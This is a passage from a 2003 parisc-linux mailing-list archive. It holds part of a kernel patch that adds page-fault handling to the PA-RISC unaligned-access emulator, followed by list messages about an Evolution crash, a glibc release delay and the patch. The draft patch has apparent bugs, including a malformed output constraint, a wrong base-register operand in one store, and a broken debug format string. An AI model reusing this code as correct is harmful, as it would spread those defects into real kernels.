> -"	zdep	%2,28,2,%%r19\n"		/* r19=(ofs&3)*8 */
> -"	mtsp	%3, %%sr1\n"
> -"	depw	%%r0,31,2,%2\n"
> -"	ldw	0(%%sr1,%2),%0\n"
> -"	ldw	4(%%sr1,%2),%%r20\n"
> +"	zdep	%3,28,2,%%r19\n"		/* r19=(ofs&3)*8 */
> +"	mtsp	%4, %%sr1\n"
> +"	depw	%%r0,31,2,%3\n"
> +"1:	ldw	0(%%sr1,%3),%0\n"
> +"2:	ldw	4(%%sr1,%3),%%r20\n"
>  "	subi	32,%%r19,%%r19\n"
>  "	mtctl	%%r19,11\n"
>  "	vshd	%0,%%r20,%0\n"
> -	: "=r" (val)
> +"	cmpclr,= %%r0, %%r0, %1\n"
> +"3:	ldo	-2(%%r0), %1\n"
> +"	.section __ex_table,\"a\"\n"
> +#ifdef __LP64__
> +"	.dword	1b,(3b-1b)\n"
> +"	.dword  2b,(3b-2b)\n"
> +#else
> +"	.word	1b,(3b-1b)\n"
> +"	.word	2b,(3b-2b)\n"
> +#endif
> +"	.previous\n"
> +	: "=r" (val), "=r" (ret)
>  	: "0" (val), "r" (saddr), "r" (regs->isr)
>  	: "r19", "r20" );
>  
> @@ -184,12 +212,13 @@ static int emulate_ldw(struct pt_regs *r
>  	else if (toreg)
>  		regs->gr[toreg] = val;
>  
> -	return 0;
> +	return ret;
>  }
>  static int emulate_ldd(struct pt_regs *regs, int toreg, int flop)
>  {
>  	unsigned long saddr = regs->ior;
>  	__u64 val = 0;
> +	int ret;
>  
>  	DPRINTF("load " RFMT ":" RFMT " to r%d for 8 bytes\n", 
>  		regs->isr, regs->ior, toreg);
> @@ -200,51 +229,77 @@ static int emulate_ldd(struct pt_regs *r
>  		return -1;
>  #endif
>  	__asm__ __volatile__  (
> -"	depd,z	%2,60,3,%%r19\n"		/* r19=(ofs&7)*8 */
> -"	mtsp	%3, %%sr1\n"
> -"	depd	%%r0,63,3,%2\n"
> -"	ldd	0(%%sr1,%2),%0\n"
> -"	ldd	8(%%sr1,%2),%%r20\n"
> +"	depd,z	%3,60,3,%%r19\n"		/* r19=(ofs&7)*8 */
> +"	mtsp	%4, %%sr1\n"
> +"	depd	%%r0,63,3,%3\n"
> +"1:	ldd	0(%%sr1,%3),%0\n"
> +"2:	ldd	8(%%sr1,%3),%%r20\n"
>  "	subi	64,%%r19,%%r19\n"
>  "	mtsar	%%r19\n"
>  "	shrpd	%0,%%r20,%%sar,%0\n"
> -	: "=r" (val)
> +"	cmpclr,= %%r0, %%r0, %1\n"
> +"3:	ldo	-2(%%r0), %1\n"
> +"	.section __ex_table,\"a\"\n"
> +#ifdef __LP64__
> +"	.dword	1b,(3b-1b)\n"
> +"	.dword  2b,(3b-2b)\n"
> +#else
> +"	.word	1b,(3b-1b)\n"
> +"	.word	2b,(3b-2b)\n"
> +#endif
> +"	.previous\n"
> +	: "=r" (val), "=r" (ret)
>  	: "0" (val), "r" (saddr), "r" (regs->isr)
>  	: "r19", "r20" );
>  #else
>      {
>  	unsigned long valh=0,vall=0;
>  	__asm__ __volatile__  (
> -"	zdep	%4,29,2,%%r19\n"		/* r19=(ofs&3)*8 */
> -"	mtsp	%5, %%sr1\n"
> -"	dep	%%r0,31,2,%4\n"
> -"	ldw	0(%%sr1,%5),%0\n"
> -"	ldw	4(%%sr1,%5),%1\n"
> -"	ldw	8(%%sr1,%5),%%r20\n"
> +"	zdep	%5,29,2,%%r19\n"		/* r19=(ofs&3)*8 */
> +"	mtsp	%6, %%sr1\n"
> +"	dep	%%r0,31,2,%5\n"
> +"1:	ldw	0(%%sr1,%6),%0\n"
> +"2:	ldw	4(%%sr1,%6),%1\n"
> +"3:	ldw	8(%%sr1,%6),%%r20\n"
>  "	subi	32,%%r19,%%r19\n"
>  "	mtsar	%%r19\n"
>  "	vshd	%0,%1,%0\n"
>  "	vshd	%1,%%r20,%1\n"
> -	: "=r" (valh), "=r" (vall)
> +"	cmpclr,= %%r0, %%r0, %2\n"
> +"4:	ldo	-2(%%r0), %2\n"
> +"	.section __ex_table,\"a\"\n"
> +#ifdef __LP64__
> +"	.dword	1b,(4b-1b)\n"
> +"	.dword  2b,(4b-2b)\n"
> +"	.dword	3b,(4b-3b)\n"
> +#else
> +"	.word	1b,(4b-1b)\n"
> +"	.word	2b,(4b-2b)\n"
> +"	.word	3b,(4b-3b)\n"
> +#endif
> +"	.previous\n"
> +	: "=r" (valh), "=r" (vall), "=r" (ret)
>  	: "0" (valh), "1" (vall), "r" (saddr), "r" (regs->isr)
>  	: "r19", "r20" );
>  	val=((__u64)valh<<32)|(__u64)vall;
>      }
>  #endif
>  
> -	DPRINTF("val = 0x" RFMT "\n", val);
> +	DPRINTF("val = 0xllx\n", val);
>  
>  	if (flop)
>  		regs->fr[toreg] = val;
>  	else if (toreg)
>  		regs->gr[toreg] = val;
>  
> -	return 0;
> +	return ret;
>  }
>  
>  static int emulate_sth(struct pt_regs *regs, int frreg)
>  {
>  	unsigned long val = regs->gr[frreg];
> +	int ret;
> +
>  	if (!frreg)
>  		val = 0;
>  
> @@ -252,19 +307,32 @@ static int emulate_sth(struct pt_regs *r
>  		val, regs->isr, regs->ior);
>  
>  	__asm__ __volatile__ (
> -"	mtsp %2, %%sr1\n"
> -"	extrw,u %0, 23, 8, %%r19\n"
> -"	stb %0, 1(%%sr1, %1)\n"
> -"	stb %%r19, 0(%%sr1, %1)\n"
> -	:
> +"	mtsp %3, %%sr1\n"
> +"	extrw,u %1, 23, 8, %%r19\n"
> +"1:	stb %1, 1(%%sr1, %2)\n"
> +"2:	stb %%r19, 0(%%sr1, %2)\n"
> +"	cmpclr,= %%r0, %%r0, %0\n"
> +"3:	ldo	-2(%%r0), %0\n"
> +"	.section __ex_table,\"a\"\n"
> +#ifdef __LP64__
> +"	.dword	1b,(3b-1b)\n"
> +"	.dword  2b,(3b-2b)\n"
> +#else
> +"	.word	1b,(3b-1b)\n"
> +"	.word	2b,(3b-2b)\n"
> +#endif
> +"	.previous\n"
> +	: "=r" (ret)
>  	: "r" (val), "r" (regs->ior), "r" (regs->isr)
>  	: "r19" );
>  
> -	return 0;
> +	return ret;
>  }
> +
>  static int emulate_stw(struct pt_regs *regs, int frreg, int flop)
>  {
>  	unsigned long val;
> +	int ret;
>  
>  	if (flop)
>  		val = ((__u32*)(regs->fr))[frreg];
> @@ -278,22 +346,33 @@ static int emulate_stw(struct pt_regs *r
>  
>  
>  	__asm__ __volatile__ (
> -"	mtsp %2, %%sr1\n"
> -"	zdep	%1, 28, 2, %%r19\n"
> -"	dep	%%r0, 31, 2, %1\n"
> +"	mtsp %3, %%sr1\n"
> +"	zdep	%2, 28, 2, %%r19\n"
> +"	dep	%%r0, 31, 2, %2\n"
>  "	mtsar	%%r19\n"
>  "	depwi,z	-2, %%sar, 32, %%r19\n"
> -"	ldw	0(%%sr1,%1),%%r20\n"
> -"	ldw	4(%%sr1,%1),%%r21\n"
> -"	vshd	%%r0, %0, %%r22\n"
> -"	vshd	%0, %%r0, %%r1\n"
> +"1:	ldw	0(%%sr1,%2),%%r20\n"
> +"2:	ldw	4(%%sr1,%2),%%r21\n"
> +"	vshd	%%r0, %1, %%r22\n"
> +"	vshd	%1, %%r0, %%r1\n"
>  "	and	%%r20, %%r19, %%r20\n"
>  "	andcm	%%r21, %%r19, %%r21\n"
>  "	or	%%r22, %%r20, %%r20\n"
>  "	or	%%r1, %%r21, %%r21\n"
> -"	stw	%%r20,0(%%sr1,%1)\n"
> -"	stw	%%r21,4(%%sr1,%1)\n"
> -	:
> +"	stw	%%r20,0(%%sr1,%2)\n"
> +"	stw	%%r21,4(%%sr1,%2)\n"
> +"	cmpclr,= %%r0, %%r0, %0\n"
> +"3:	ldo	-2(%%r0), %0\n"
> +"	.section __ex_table,\"a\"\n"
> +#ifdef __LP64__
> +"	.dword	1b,(3b-1b)\n"
> +"	.dword  2b,(3b-2b)\n"
> +#else
> +"	.word	1b,(3b-1b)\n"
> +"	.word	2b,(3b-2b)\n"
> +#endif
> +"	.previous\n"
> +	: "=r" (ret)
>  	: "r" (val), "r" (regs->ior), "r" (regs->isr)
>  	: "r19", "r20", "r21", "r22", "r1" );
>  
> @@ -302,6 +381,7 @@ static int emulate_stw(struct pt_regs *r
>  static int emulate_std(struct pt_regs *regs, int frreg, int flop)
>  {
>  	__u64 val;
> +	int ret;
>  
>  	if (flop)
>  		val = regs->fr[frreg];
> @@ -310,7 +390,7 @@ static int emulate_std(struct pt_regs *r
>  	else
>  		val = 0;
>  
> -	DPRINTF("store r%d (0x" %016llx ") to " RFMT ":" RFMT " for 8 bytes\n", frreg, 
> +	DPRINTF("store r%d (0x%016llx) to " RFMT ":" RFMT " for 8 bytes\n", frreg, 
>  		val,  regs->isr, regs->ior);
>  
>  #ifdef CONFIG_PA20
> @@ -319,52 +399,84 @@ static int emulate_std(struct pt_regs *r
>  		return -1;
>  #endif
>  	__asm__ __volatile__ (
> -"	mtsp %2, %%sr1\n"
> -"	depd,z	%1, 60, 3, %%r19\n"
> -"	depd	%%r0, 63, 3, %1\n"
> +"	mtsp %3, %%sr1\n"
> +"	depd,z	%2, 60, 3, %%r19\n"
> +"	depd	%%r0, 63, 3, %2\n"
>  "	mtsar	%%r19\n"
>  "	depdi,z	-2, %%sar, 64, %%r19\n"
> -"	ldd	0(%%sr1,%1),%%r20\n"
> -"	ldd	8(%%sr1,%1),%%r21\n"
> -"	shrpd	%%r0, %0, %%sar, %%r22\n"
> -"	shrpd	%0, %%r0, %%sar, %%r1\n"
> +"1:	ldd	0(%%sr1,%2),%%r20\n"
> +"2:	ldd	8(%%sr1,%2),%%r21\n"
> +"	shrpd	%%r0, %1, %%sar, %%r22\n"
> +"	shrpd	%1, %%r0, %%sar, %%r1\n"
>  "	and	%%r20, %%r19, %%r20\n"
>  "	andcm	%%r21, %%r19, %%r21\n"
>  "	or	%%r22, %%r20, %%r20\n"
>  "	or	%%r1, %%r21, %%r21\n"
> -"	std	%%r20,0(%%sr1,%1)\n"
> -"	std	%%r21,8(%%sr1,%1)\n"
> -	:
> +"3:	std	%%r20,0(%%sr1,%2)\n"
> +"4:	std	%%r21,8(%%sr1,%2)\n"
> +"	cmpclr,= %%r0, %%r0, %0\n"
> +"5:	ldo	-2(%%r0), %0\n"
> +"	.section __ex_table,\"a\"\n"
> +#ifdef __LP64__
> +"	.dword	1b,(5b-1b)\n"
> +"	.dword  2b,(5b-2b)\n"
> +"	.dword	3b,(5b-3b)\n"
> +"	.dword  4b,(5b-4b)\n"
> +#else
> +"	.word	1b,(5b-1b)\n"
> +"	.word	2b,(5b-2b)\n"
> +"	.word	3b,(5b-3b)\n"
> +"	.word	4b,(5b-4b)\n"
> +#endif
> +"	.previous\n"
> +	: "=r" (ret)
>  	: "r" (val), "r" (regs->ior), "r" (regs->isr)
>  	: "r19", "r20", "r21", "r22", "r1" );
>  #else
>      {
>  	unsigned long valh=(val>>32),vall=(val&0xffffffffl);
>  	__asm__ __volatile__ (
> -"	mtsp	%3, %%sr1\n"
> -"	zdep	%1, 29, 2, %%r19\n"
> -"	dep	%%r0, 31, 2, %1\n"
> +"	mtsp	%4, %%sr1\n"
> +"	zdep	%2, 29, 2, %%r19\n"
> +"	dep	%%r0, 31, 2, %2\n"
>  "	mtsar	%%r19\n"
>  "	zvdepi	-2, 32, %%r19\n"
> -"	ldw	0(%%sr1,%2),%%r20\n"
> -"	ldw	8(%%sr1,%2),%%r21\n"
> -"	vshd	%0, %1, %%r1\n"
> -"	vshd	%%r0, %0, %0\n"
> -"	vshd	%1, %%r0, %1\n"
> +"1:	ldw	0(%%sr1,%3),%%r20\n"
> +"2:	ldw	8(%%sr1,%3),%%r21\n"
> +"	vshd	%1, %2, %%r1\n"
> +"	vshd	%%r0, %1, %1\n"
> +"	vshd	%2, %%r0, %2\n"
>  "	and	%%r20, %%r19, %%r20\n"
>  "	andcm	%%r21, %%r19, %%r21\n"
> -"	or	%0, %%r20, %0\n"
> -"	or	%1, %%r21, %1\n"
> -"	stw	%0,0(%%sr1,%2)\n"
> -"	stw	%%r1,4(%%sr1,%2)\n"
> -"	stw	%1,8(%%sr1,%2)\n"
> -	:
> +"	or	%1, %%r20, %1\n"
> +"	or	%2, %%r21, %2\n"
> +"3:	stw	%1,0(%%sr1,%1)\n"
> +"4:	stw	%%r1,4(%%sr1,%3)\n"
> +"5:	stw	%2,8(%%sr1,%3)\n"
> +"	cmpclr,= %%r0, %%r0, %0\n"
> +"6:	ldo	-2(%%r0), %0\n"
> +"	.section __ex_table,\"a\"\n"
> +#ifdef __LP64__
> +"	.dword	1b,(6b-1b)\n"
> +"	.dword  2b,(6b-2b)\n"
> +"	.dword	3b,(6b-3b)\n"
> +"	.dword  4b,(6b-4b)\n"
> +"	.dword  5b,(6b-5b)\n"
> +#else
> +"	.word	1b,(6b-1b)\n"
> +"	.word	2b,(6b-2b)\n"
> +"	.word	3b,(6b-3b)\n"
> +"	.word	4b,(6b-4b)\n"
> +"	.word  	5b,(6b-5b)\n"
> +#endif
> +"	.previous\n"
> +	: "r" (ret)
>  	: "r" (valh), "r" (vall), "r" (regs->ior), "r" (regs->isr)
>  	: "r19", "r20", "r21", "r1" );
>      }
>  #endif
>  
> -	return 0;
> +	return ret;
>  }
>  
>  void handle_unaligned(struct pt_regs *regs)
> @@ -373,7 +485,7 @@ void handle_unaligned(struct pt_regs *re
>  	static unsigned long last_time = 0;
>          unsigned long newbase = R1(regs->iir)?regs->gr[R1(regs->iir)]:0;
>  	int modify = 0;
> -	int ret = -1;
> +	int ret = ERR_NOTHANDLED;
>  	struct siginfo si;
>  	register int flop=0;	/* true if this is a flop */
>  
> @@ -567,7 +679,7 @@ void handle_unaligned(struct pt_regs *re
>  	case OPCODE_LDCW_I:
>  	case OPCODE_LDCD_S:
>  	case OPCODE_LDCW_S:
> -		ret = -1;	/* "undefined", but lets kill them. */
> +		ret = ERR_NOTHANDLED;	/* "undefined", but lets kill them. */
>  		break;
>  	}
>  #ifdef CONFIG_PA20
> @@ -632,7 +744,7 @@ void handle_unaligned(struct pt_regs *re
>  		regs->gr[R1(regs->iir)] = newbase;
>  
>  
> -	if (ret < 0)
> +	if (ret == ERR_NOTHANDLED)
>  		printk(KERN_CRIT "Not-handled unaligned insn 0x%08lx\n", regs->iir);
>  
>  	DPRINTF("ret = %d\n", ret);
> @@ -641,13 +753,25 @@ void handle_unaligned(struct pt_regs *re
>  	{
>  		printk(KERN_CRIT "Unaligned handler failed, ret = %d\n", ret);
>  		die_if_kernel("Unaligned data reference", regs, 28);
> +
> +		if (ret == ERR_PAGEFAULT)
> +		{
> +			si.si_signo = SIGSEGV;
> +			si.si_errno = 0;
> +			si.si_code = SEGV_MAPERR;
> +			si.si_addr = (void *)regs->ior;
> +			force_sig_info(SIGSEGV, &si, current);
> +		}
> +		else
> +		{
>  force_sigbus:
> -		/* couldn't handle it ... */
> -		si.si_signo = SIGBUS;
> -		si.si_errno = 0;
> -		si.si_code = BUS_ADRALN;
> -		si.si_addr = (void *)regs->ior;
> -		force_sig_info(SIGBUS, &si, current);
> +			/* couldn't handle it ... */
> +			si.si_signo = SIGBUS;
> +			si.si_errno = 0;
> +			si.si_code = BUS_ADRALN;
> +			si.si_addr = (void *)regs->ior;
> +			force_sig_info(SIGBUS, &si, current);
> +		}
>  		
>  		return;
>  	}



From - Thu Nov 08 21:29:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] evolution (1.4.5-1) do_page_fault?
Date: Sun, 19 Oct 2003 15:28:24 +0000
Lines: 108
Approved: news@gmane.org
Message-ID: <3F92AD98.3030104@tiscali.be>
References: <3F8A272E00000550@ocpmta3.freegates.net> <3F91ACEC.1010504@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622888 307 80.91.229.3 (22 Nov 2014 02:21:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:28 +0000 (UTC)
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 19 09:28:26 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id E2F3D483E
	for <parisc-linux@parisc-linux.org>; Sun, 19 Oct 2003 09:28:25 -0600 (MDT)
Original-Received: from [62.235.120.17] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1ABFTj-0007Yc-0T; Sun, 19 Oct 2003 17:28:23 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20031010 Debian/1.4-6
X-Accept-Language: en
In-Reply-To: <3F91ACEC.1010504@tiscali.be>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19864

Too bad,

The pb re-occurs also with 2.4.21-32 but this time during two kernels 
(2.4.22 && 2.6) was build at the same time. When 2.6 was finished, I can 
re-launch evolution without pb. Could it be a pb of swap? How may check 
if its limits were reach at this moment?

Thanks,
	Joel


Joel Soete wrote:
> Carlos,
> 
> I just reboot my C110 but with a kernel 2.4.21-32 and evolution works 
> fine. OTC with k2.6 still failled. I will try to see later what is wrong :(
> 
> Thanks again,
>     Joel
> 
> 
> Joel Soete wrote:
> 
>> Hi Carlos,
>>
>> I just haven't such hw at my office where otc i can do some other 
>> check on
>> the b2k model.
>>
>> On this b2k (also installed with unstable debian) run fine the same 
>> release
>> of evolution (otc what i said).
>> But it is booted with last 2.4 (a merge of 23-pre7 and 22-pa12) with 256M
>> of ram (only 128k for c110) and without mozilla-psm (a recommended or 
>> suggested
>> additional pkg added on c110).
>>
>> So a lot of test to figure out the present pb :)
>>
>> Thanks a lot ( I will advise you :) )
>>     Joel
>>
>>
>>> -- Original Message --
>>> From: Carlos O'Donell <carlos@baldric.uwo.ca>
>>> To: Joel Soete <soete.joel@tiscali.be>
>>> Cc: parisc-linux@parisc-linux.org
>>> Date: Sun, 12 Oct 2003 16:02:02 -0400
>>> Subject: Re: [parisc-linux] evolution (1.4.5-1) do_page_fault?
>>>
>>>
>>> On Sun, Oct 12, 2003 at 06:42:55PM +0000, Joel Soete wrote:
>>> Hello Carlos,
>>>
>>> I launch 'gbd evolution'
>>> (gdb) run
>>> to determine the new address in this env but failed before with message:
>>> Program received signal SIG37, Real-time event 37.
>>
>>
>>
>>>> 0x4193c574 in malloc_set_state () from /lib/libc.so.6
>>>
>>>
>>> what's your opinion?
>>
>>
>>
>> That's libpthreads realtime singal mechanism working.
>> You need to set "handle all nostop" and "handle all pass" in gdb.
>>
>> Then you can do the math with /proc/<pid>
>>
>>> maps and the dying address to
>>
>>
>> calculate the _real_ library offset and function symbolic name.
>>
>> c.
>> _______________________________________________
>> parisc-linux mailing list
>> parisc-linux@lists.parisc-linux.org
>> http://lists.parisc-linux.org/mailman
>>
>>> listinfo/parisc-linux
>>
>>
>>
>>
>>
>> -------------------------------------------------------------------------
>> L'Internet rapide, c'est pour tout le monde. Tiscali ADSL, 19,50 Euro
>> pendant 3 mois! http://reg.tiscali.be/default.asp?lg=fr
>>
>> _______________________________________________
>> parisc-linux mailing list
>> parisc-linux@lists.parisc-linux.org
>> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>>
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 



From - Thu Nov 08 21:29:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.2-9 for hppa - "when hell freezes over" release
Date: Sun, 19 Oct 2003 14:13:42 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <20031019181341.GF8642__11355.1193535843$1416622888$gmane$org@systemhalted>
References: <20031017181252.GE27289@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622888 309 80.91.229.3 (22 Nov 2014 02:21:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, LaMont Jones <lamont@hp.com>
To: debian-glibc@lists.debian.org, Jeff Bailey <jbailey@nisa.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 19 12:17:39 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id E85BE483E
	for <parisc-linux@lists.parisc-linux.org>; Sun, 19 Oct 2003 12:17:38 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1ABI3i-0005Uv-00; Sun, 19 Oct 2003 14:13:42 -0400
Content-Disposition: inline
In-Reply-To: <20031017181252.GE27289@systemhalted>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (52% Sync Ratio [=====.....])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19865

On Fri, Oct 17, 2003 at 02:12:52PM -0400, Carlos O'Donell wrote:
> Please wait 2 days before doing the upload, I am in the process 
> of getting other testers to make sure this release is of the
> highest quality possible. If the testers do not agree with the
> release quality I will request by email a delay of 2 more days 
> to repatch and test, followed by an update to the list.

Requesting 2 more days.

- nscd is faulting on unaligned loads during real workload testing.
	= Remove unaligned handler and debug from core.

- Looking into mlockall failures.

Cheers,
Carlos.



From - Thu Nov 08 21:29:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [patch] handle pagefaults on unaligned access
Date: Sun, 19 Oct 2003 14:46:58 -0400 (EDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <200310191846.h9JIkxMq027125@hiauly1.hia.nrc.ca>
References: <20031019063825.GE24406@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622888 310 80.91.229.3 (22 Nov 2014 02:21:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 19 12:47:00 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8BF7C483E
	for <parisc-linux@lists.parisc-linux.org>; Sun, 19 Oct 2003 12:47:00 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id h9JIkxDF027126;
	Sun, 19 Oct 2003 14:46:59 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id h9JIkxMq027125;
	Sun, 19 Oct 2003 14:46:59 -0400 (EDT)
In-Reply-To: <20031019063825.GE24406@tausq.org> from "Randolph Chung" at Oct 18, 2003 11:38:25 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19866

> while testing out gcj today, i was able to crash the machine
> consistently with both 2.4 and 2.6 kernel. turns out our unaligned
> handler doesn't handle page faults properly. in the case for gcj, there
> was a ldh on the edge of the page, the first byte is on a resident page,
> the 2nd byte is on a faulting page.

What's generating the unaligned ldh?  This will really kill performance.
GCC shouldn't do this...

My system also crashed last night, probably running the gcj testsuite.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:29:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [patch] handle pagefaults on unaligned access
Date: Sun, 19 Oct 2003 12:03:06 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <20031019190306.GG24406@tausq.org>
References: <20031019063825.GE24406@tausq.org> <200310191846.h9JIkxMq027125@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622889 312 80.91.229.3 (22 Nov 2014 02:21:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 19 12:58:40 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 07EA0483E
	for <parisc-linux@lists.parisc-linux.org>; Sun, 19 Oct 2003 12:58:40 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 82617CD2F8; Sun, 19 Oct 2003 12:03:06 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <200310191846.h9JIkxMq027125@hiauly1.hia.nrc.ca>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
